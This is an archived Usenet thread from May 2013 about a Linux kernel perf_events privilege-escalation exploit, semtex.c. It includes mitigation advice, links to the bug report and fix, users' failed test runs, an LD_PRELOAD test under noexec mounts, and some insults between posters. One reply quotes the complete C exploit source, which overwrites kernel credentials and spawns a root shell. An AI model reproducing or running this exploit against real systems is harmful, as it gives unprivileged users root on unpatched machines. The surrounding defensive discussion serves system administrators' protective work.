Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Critical Linux exploit in the wild

152 views
Skip to first unread message

TomB

unread,
May 19, 2013, 3:58:32 AM5/19/13
to
Just a little heads-up...

http://ostatic.com/blog/critical-linux-exploit-in-the-wild

"If you run servers that provide shell accounts, it’s time to take
some preventive measures. At least it is if you are running kernel
versions 2.6.37 to 3.8.8, or if you are running RHEL 6 or a clone like
CentOS, then the bug was backported to 2.6.32. I ran the exploit
myself in a test environment, and it works exactly as expected. Log in
as a normal user, compile 100 or so lines of C code, run the
executable and you’ve got a root shell. Scary stuff if you manage
public shell accounts."

For the exploit to work, there are a number of conditions that must be
met:

* Linux must be compiled with PERF_EVENTS
* Shell accounts must have access to a working compiler

Obviously I checked all my servers where users have shell access, and
I was pleased to learn that none of my systems were affected :-)

The exploit can be downloaded here:

http://packetstormsecurity.com/files/121616/semtex.c

Check your systems!

--
Let there be Rock!
~ Bon Scott

Cola Zealot

unread,
May 19, 2013, 5:02:53 AM5/19/13
to
Granny and the Linux n00bs will just love this stuff!, thanks TomB!
I bet turdv, Creepy Ahlstrom, Rexx, Tattoo V, WRonG, Homer, Kohltard are
standing in line to help fuscked Linux users?
I guess not, they will simply deny the exploit exists.
[q]
/*
* linux 2.6.37-3.x.x x86_64, ~100 LOC
* gcc-4.6 -O2 semtex.c && ./a.out
* 2010 s...@fucksheep.org, salut!
*
* update may 2013:
* seems like centos 2.6.32 backported the perf bug, lol.
* jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
*/

#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>

#define BASE 0x380000000
#define SIZE 0x010000000
#define KSIZE 0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))

void fuck() {
int i,j,k;
uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
uint64_t kbase = ((uint64_t)current)>>36;
uint32_t *fixptr = (void*) AB(1);
*fixptr = -1;

for (i=0; i<4000; i+=4) {
uint64_t *p = (void *)&current[i];
uint32_t *t = (void*) p[0];
if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
if (((uint32_t*)uids)[k] != t[j+k]) goto next;
for (i = 0; i < 8; i++) t[j+i] = 0;
for (i = 0; i < 10; i++) t[j+9+i] = -1;
return;
next:; }
}
}

void sheep(uint32_t off) {
uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
int fd = syscall(298, buf, 0, -1, -1, 0);
assert(!close(fd));
}


int main() {
uint64_t u,g,needle, kbase, *p; uint8_t *code;
uint32_t *map, j = 5;
int i;
struct {
uint16_t limit;
uint64_t addr;
} __attribute__((packed)) idt;
assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
memset(map, 0, SIZE);
sheep(-1); sheep(-2);
for (i = 0; i < SIZE/4; i++) if (map[i]) {
assert(map[i+1]);
break;
}
assert(i<SIZE/4);
asm ("sidt %0" : "=m" (idt));
kbase = idt.addr & 0xff000000;
u = getuid(); g = getgid();
assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) ==
(void*)kbase);
memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
printf("2.6.37-3.x x86_64\n...@fucksheep.org 2010\n") % 27);
setresuid(u,u,u); setresgid(g,g,g);
while (j--) {
needle = AB(j+1);
assert(p = memmem(code, 1024, &needle, 8));
if (!p) continue;
*p = j?((g<<32)|u):(idt.addr + 0x48);
}
sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
asm("int $0x4"); assert(!setuid(0));
return execl("/bin/bash", "-sh", NULL);
}
[q/]

Lusotec

unread,
May 19, 2013, 6:40:41 AM5/19/13
to
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

TomB wrote:
> Just a little heads-up...

Thanks for the warning.

> http://ostatic.com/blog/critical-linux-exploit-in-the-wild
>
> "If you run servers that provide shell accounts, it’s time to take
> some preventive measures. At least it is if you are running kernel
> versions 2.6.37 to 3.8.8, or if you are running RHEL 6 or a clone like
> CentOS, then the bug was backported to 2.6.32. I ran the exploit
> myself in a test environment, and it works exactly as expected. Log in
> as a normal user, compile 100 or so lines of C code, run the
> executable and you’ve got a root shell. Scary stuff if you manage
> public shell accounts."
>
> For the exploit to work, there are a number of conditions that must be
> met:
>
> * Linux must be compiled with PERF_EVENTS

This kernel build configuration can be checked with the command
zgrep PERF_EVENTS /proc/config.gz

> * Shell accounts must have access to a working compiler

Most servers and desktops systems don't need a compiler installed. As such,
and as a policy in my company, such system don't have a compiler or build
tools installed. Still, a malicious user or hacker could compile the exploit
binary in another system and copy it to the target system.

Another policy in my company is to mount all user writable partitions with
noexec, nosuid, nodev options so even if the exploit binary was placed in
the system by a user or a hacker (s)he would still have find a way to
execute the exploit.

> Obviously I checked all my servers where users have shell access, and
> I was pleased to learn that none of my systems were affected :-)
>
> The exploit can be downloaded here:
>
> http://packetstormsecurity.com/files/121616/semtex.c

Some more information on the subject.

Bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=962792

Fix:
<http://git.kernel.org/cgit/linux/kernel/git/torvalds/
linux.git/commit/?id=8176cced706b5e5d15887584150764894e94e02f>

> Check your systems!

$ ./semtex
semtex: semtex.c:51: sheep: Assertion `!close(fd)' failed.

For some reason it did not work on this system and I think all requirements
are present.

Regards.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iF4EAREIAAYFAlGYrCkACgkQGQjO2ccW76qCQgD/QYoct7HFe6OXM+bJ3CSE3/Yh
TqcaKCYfv/QXkTbyAy8A/3nDfHoZ41nvx2DvE99ejWoAKsx2AW6Tnm67ITaSNSSZ
=O4yG
-----END PGP SIGNATURE-----

Chris Ahlstrom

unread,
May 19, 2013, 7:16:03 AM5/19/13
to
After swilling some grog, Lusotec belched this bit o' wisdom:
> $ ./semtex
> semtex: semtex.c:51: sheep: Assertion `!close(fd)' failed.
>
> For some reason it did not work on this system and I think all requirements
> are present.

% gcc semtex.c
% ./a.out
2.6.37-3.x x86_64
s...@fucksheep.org 2010
a.out: semtex.c:81: main: Assertion `p = memmem(code, 1024, &needle, 8)'
failed.
Aborted
% rm /usr/bin/zzdir
% rm: remove write-protected regular file ‘/usr/bin/zzdir’? y
% rm: cannot remove ‘/usr/bin/zzdir’: Permission denied

The "app" got the kernel wrong, though, it's actually a 3.7 series
kernel.

--
Pray: To ask that the laws of the universe be annulled in behalf of a single
petitioner confessedly unworthy.
-- Ambrose Bierce

Hadron

unread,
May 19, 2013, 11:00:58 AM5/19/13
to
lol! What a weenie! So eager to show off and please!


--
A certain COLA "advocate" faking his user-agent in order to pretend to be a Linux
user: User-Agent: Outlook 5.5 (WinNT 5.0), User-Agent: slrn/0.9.8.0
(Linux), Message-ID: <wPGdnd3NnOM...@comcast.com>

Gregory Shearman

unread,
May 19, 2013, 5:26:03 PM5/19/13
to
On 2013-05-19, TomB <tommy.b...@gmail.com> wrote:
>
> The exploit can be downloaded here:
>
> http://packetstormsecurity.com/files/121616/semtex.c

Downloaded and ran the code. It failed.

> Check your systems!

GentooPenguin$ uname -rm
3.8.13-gentoo x86_64

I upgraded all my kernels earlier this week after the gentoo kernel
version bump. I read about the exploit in linux.gentoo.user.

Upgrading a kernel is really easy on my machines.

--
Regards,
Gregory.
Gentoo Linux - Penguin Power

Chris Ahlstrom

unread,
May 19, 2013, 6:27:02 PM5/19/13
to
After swilling some grog, Gregory Shearman belched this bit o' wisdom:

> On 2013-05-19, TomB <tommy.b...@gmail.com> wrote:
>>
>> The exploit can be downloaded here:
>>
>> http://packetstormsecurity.com/files/121616/semtex.c
>
> Downloaded and ran the code. It failed.
>
>> Check your systems!
>
> GentooPenguin$ uname -rm
> 3.8.13-gentoo x86_64
>
> I upgraded all my kernels earlier this week after the gentoo kernel
> version bump. I read about the exploit in linux.gentoo.user.
>
> Upgrading a kernel is really easy on my machines.

It's actually pretty easy on all distros, even if you also make an
initramfs with it.

If you're in the mainline with your kernels, then "apt-get" or "emerge"
will do everything for you.

Pretty sweet. No way Sweaty Ballmer would lay out his family jewels
the way Linus does.

--
Forest fires cause Smokey Bears.

Gregory Shearman

unread,
May 19, 2013, 11:07:07 PM5/19/13
to
On 2013-05-19, Chris Ahlstrom <OFee...@teleworm.us> wrote:
>
> It's actually pretty easy on all distros, even if you also make an
> initramfs with it.

It's a bit more work on Gentoo, but that's OK. It usually takes around
10minutes for me to ->

GentooPenguin$ cd /usr/src/linux
GentooPenguin$ su -c "su - kernelwizard" kernelwizard$ mkdir /home/kernelwizard/<latest-kernel>
kernelwizard$ zcat /proc/config.gz > /home/kernelwizard/<latest-kernel>
kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> oldconfig
kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> bzImage
kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> modules
kernelwizard$ exit
GentooPenguin$ su -c "make -j9 O=/home/kernelwizard/<latest-kernel> modules_install
GentooPenguin$ su -c "mount /boot"
GentooPenguin$ su -c "make -j9 O=/home/kernelwizard/<latest-kernel> install
GentooPenguin$ su -c "(unset KBUILD_OUTPUT; genkernel --kernel-config=/home/kernelwizard/<latest-kernel>/.config --splash=natural_gentoo --splash-res=1366x768 --lvm initramfs)"
GentooPenguin$ su -c "grub2-mkconfig -o /boot/grub2/grub.cfg"
GentooPenguin$ su -c "umount /boot"
GentooPenguin$ su -c "reboot"

It might seem like a lot of typing, but it isn't. ./bash_history
contains the commands I need and also, I've done this so many times it
has become automatic and takes hardly any time at all. Even compilation
of the kernel is blindingly fast on these 4 core, (8 hyperthreaded
cores) intel CPUs.

I used to have all this scripted but it takes so little time I don't
even bother any more.

The reason I compile out of the kernel tree is:

a) I don't need to be the superuser in order to compile kernel and
modules. I don't have to touch the /usr/src kernel hierarchy. The only
operator of this hierarchy is Portage.

b) an 'su -c "emerge -C <old-kernel>" will clean up and actually remove
the /usr/src/* directory containing the old kernel. If I compiled within
the tree I'd have to do another root operation to get rid of all the
files left over from kernel compilation. I'm not fond of doing "rm -rf"
operations while I'm the superuser.. It's scary. One mistake could see
me reinstalling from backup (which hasn't happened yet. I'm very
careful).

c) I can keep different compilations of the same kernel in different
directories (if ever needed).

I've got the root filesystem on an LVM partition on all my intel
machines. This requires an initramfs. I also put the /usr hierarchy
onto its own LVM partition so the initramfs does a double job.

> If you're in the mainline with your kernels, then "apt-get" or "emerge"
> will do everything for you.

An "emerge" will do everything for you???? I'd like to see that! "emerge
will install and optionally update the /usr/src/linux symlink, but as
far as I'm aware, that's as far as it goes. Part of the enjoyment of
Gentoo is configuring and compiling your own kernels. Us geeks have a
weird idea of fun...

> Pretty sweet. No way Sweaty Ballmer would lay out his family jewels
> the way Linus does.

I can imagine the troll-frothing over this kernel exploit... they'll be
banging on about how unsafe Linux is compared to windows... to a rapidly
shrinking and uninterested audience... those few left who haven't
filtered out the trolls....

Linus might be brave, telling us all about this exploit, but it is the
honest and open way to expose these nasties.

It's a bit like putting your man-jewels on an anvil and telling the
blacksmith to take his best shot....

Chris Ahlstrom

unread,
May 20, 2013, 5:50:39 AM5/20/13
to
After swilling some grog, Gregory Shearman belched this bit o' wisdom:

> On 2013-05-19, Chris Ahlstrom <OFee...@teleworm.us> wrote:
>>
>> It's actually pretty easy on all distros, even if you also make an
>> initramfs with it.
>
> It's a bit more work on Gentoo, but that's OK. It usually takes around
> 10minutes for me to ->
>
> GentooPenguin$ cd /usr/src/linux
> . . .
> GentooPenguin$ su -c "reboot"
>
> <nice info snipped>
>
>> If you're in the mainline with your kernels, then "apt-get" or "emerge"
>> will do everything for you.
>
> An "emerge" will do everything for you???? I'd like to see that!

I meant "genkernel". I've been using that lately, works well.

>> Pretty sweet. No way Sweaty Ballmer would lay out his family jewels
>> the way Linus does.
>
> I can imagine the troll-frothing over this kernel exploit... they'll be
> banging on about how unsafe Linux is compared to windows... to a rapidly
> shrinking and uninterested audience... those few left who haven't
> filtered out the trolls....
>
> Linus might be brave, telling us all about this exploit, but it is the
> honest and open way to expose these nasties.
>
> It's a bit like putting your man-jewels on an anvil and telling the
> blacksmith to take his best shot....

Did I just hear "Hadron" climax?

--
Don Mattrick, Microsoft's video-game chief, got a huge cheer from the
crowd at the company's E3 media briefing this week when he announced
that the company would be shipping a redesigned Xbox 360 to everyone in
attendance.

Some members of the gaming press clearly loved it. Traditional
journalists? Not so much.

"Yes, Microsoft basically bribed the press," writes Stephen C. Webster
in a post on the True/Slant blog that has been getting broader attention
in business journalism circles.

The problem, of course, is one of basic ethics.
-- http://www.techflash.com/seattle/2010/06/microsofts_e3_xbox_bribery_makes_journalism_ethicists_squirm.html

TomB

unread,
May 20, 2013, 8:23:05 AM5/20/13
to
On 05/20/2013 05:07 AM, Gregory Shearman wrote:

> GentooPenguin$ cd /usr/src/linux
> GentooPenguin$ su -c "su - kernelwizard" kernelwizard$ mkdir /home/kernelwizard/<latest-kernel>
> kernelwizard$ zcat /proc/config.gz > /home/kernelwizard/<latest-kernel>
> kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> oldconfig
> kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> bzImage
> kernelwizard$ make -j9 O=/home/kernelwizard/<latest-kernel> modules
> kernelwizard$ exit
> GentooPenguin$ su -c "make -j9 O=/home/kernelwizard/<latest-kernel> modules_install
> GentooPenguin$ su -c "mount /boot"
> GentooPenguin$ su -c "make -j9 O=/home/kernelwizard/<latest-kernel> install
> GentooPenguin$ su -c "(unset KBUILD_OUTPUT; genkernel --kernel-config=/home/kernelwizard/<latest-kernel>/.config --splash=natural_gentoo --splash-res=1366x768 --lvm initramfs)"
> GentooPenguin$ su -c "grub2-mkconfig -o /boot/grub2/grub.cfg"
> GentooPenguin$ su -c "umount /boot"
> GentooPenguin$ su -c "reboot"

% sudo su -
# cd /usr/src/linux
# cp ../linux-<previous>/.config .
# make oldconfig
# make && make modules_install
# cp /boot/linux /boot/linux-prev
# cp arch/x86_64/boot/bzImage /boot/linux
# module-rebuild rebuild
# reboot

Okay, your way is obviously better, but the above is good enough for me :-)

Afterwards I usually do

% sudo su -
# emerge -v --depclean
# rm -rf /usr/src/linux-<previous>
# rm -rf /lib/modules/linux-<previous>

to clean things up.

A bit of manual work, but it doesn't take much time at all.

On topic: anyone actually managed to obtain a root shell with this exploit?

Casper H.S. Dik

unread,
May 20, 2013, 8:29:13 AM5/20/13
to
Lusotec <nom...@nomail.not> writes:

>Another policy in my company is to mount all user writable partitions with
>noexec, nosuid, nodev options so even if the exploit binary was placed in
>the system by a user or a hacker (s)he would still have find a way to
>execute the exploit.

Does it work against making the exploit called from the init routine
in shared object which you could load as LD_PRELOAD in any executable
you are allowed to run?

(In Solaris, a shared object in a noexec mount cannot be loaded but
I'm not sure if Linux extend the noexec to mmap()'ed objects.)

Of course, if the user has access to perl, python, then noexec doesn't
help all that much.

Casper

Cola Zealot

unread,
May 20, 2013, 9:55:57 AM5/20/13
to
OMG!!!!, this guy Ahlstrom is such a genius when it comes to using the
"magic" CLI!
OMG!!!!, this guy Ahlstrom is such a genius programmer / coder, he must be
"world class"?
bwahahahahaaaah!, I stand corrected a "world class" little weenie that is!

Lusotec

unread,
May 20, 2013, 10:18:32 AM5/20/13
to
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Casper H. S. Dik wrote:
As you can see below, preloading a library from a noexec mounted file system
does not work.

$ PS1=$
$ LANDUAGE=C
$ cd ~/tmp
$ gcc -fPIC -c -o test.o -x c - <<EOF
#include <stdio.h>
void _init(void) { printf( "TEST\n" ); }
EOF
$ gcc test.o -shared -nostdlib -lgcc -o libtest.so
$ mount | grep ~/tmp
none on /home/x/tmp type tmpfs (rw,noexec,nosuid,nodev,size=2g,uid=1000,gid=1000,mode=0700)
$ LD_PRELOAD=~/tmp/libtest.so uname
ERROR: ld.so: object '/home/x/tmp/libtest.so' from LD_PRELOAD cannot be preloaded: ignored.
Linux
$ su -c "mount -o remount,exec /home/x/tmp"
Password:
$ mount | grep ~/tmp
none on /home/x/tmp type tmpfs (rw,size=2g,uid=1000,gid=1000,mode=0700)
$ LD_PRELOAD=~/tmp/libtest.so uname
TEST
Linux
$

Regards
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iF4EAREIAAYFAlGaMLgACgkQGQjO2ccW76rIPgD9G0wAV49vDJfiYnBDI/V2ypLg
qzomqWcXOBRyQyR7shYA/jTVVRCl2OAaVUsKIWcJUjsALAeO487hYh5eLq2bm8r0
=5Vnz
-----END PGP SIGNATURE-----

Lusotec

unread,
May 20, 2013, 10:28:13 AM5/20/13
to
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Chris Ahlstrom wrote:
The exploit seem a bit unreliable.

> The "app" got the kernel wrong, though, it's actually a 3.7 series
> kernel.

The above "2.6.37-3.x x86_64" output is produced by printf("2.6.37-3.x
x86_64\n...@fucksheep.org 2010\n") in the code so it is just printing a
predefined string and not the version of the running kernel.

Regards.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iF4EAREIAAYFAlGaMv0ACgkQGQjO2ccW76qUzgD+PMKeyYVBBbsRtWoYob4lPK7e
Q2BQRnlRmNc0Ljl5/MgA/3b/aQKJFnOuxLs6u69043L5nsh1JykNnCE/NYZQsnEf
=88WG
-----END PGP SIGNATURE-----

Gregory Shearman

unread,
May 20, 2013, 9:04:21 PM5/20/13
to
On 2013-05-20, Chris Ahlstrom <OFee...@teleworm.us> wrote:
> After swilling some grog, Gregory Shearman belched this bit o' wisdom:
>>
>>> If you're in the mainline with your kernels, then "apt-get" or "emerge"
>>> will do everything for you.
>>
>> An "emerge" will do everything for you???? I'd like to see that!
>
> I meant "genkernel". I've been using that lately, works well.

Ugh! genkernel. I suppose it works well enough, but I only need it for
an initramfs. I'm not fond of the genkernel way of building a kernel.
When dracut is finally marked as Gentoo Stable I'll build my
initramfs(s) with it.

>> It's a bit like putting your man-jewels on an anvil and telling the
>> blacksmith to take his best shot....
>
> Did I just hear "Hadron" climax?

<GAG>

I just threw up a little bit in my mouth. I imagined the IQT spraying
its progenitors' basement with its seed.

IQT need not reply....because I don't see them.
0 new messages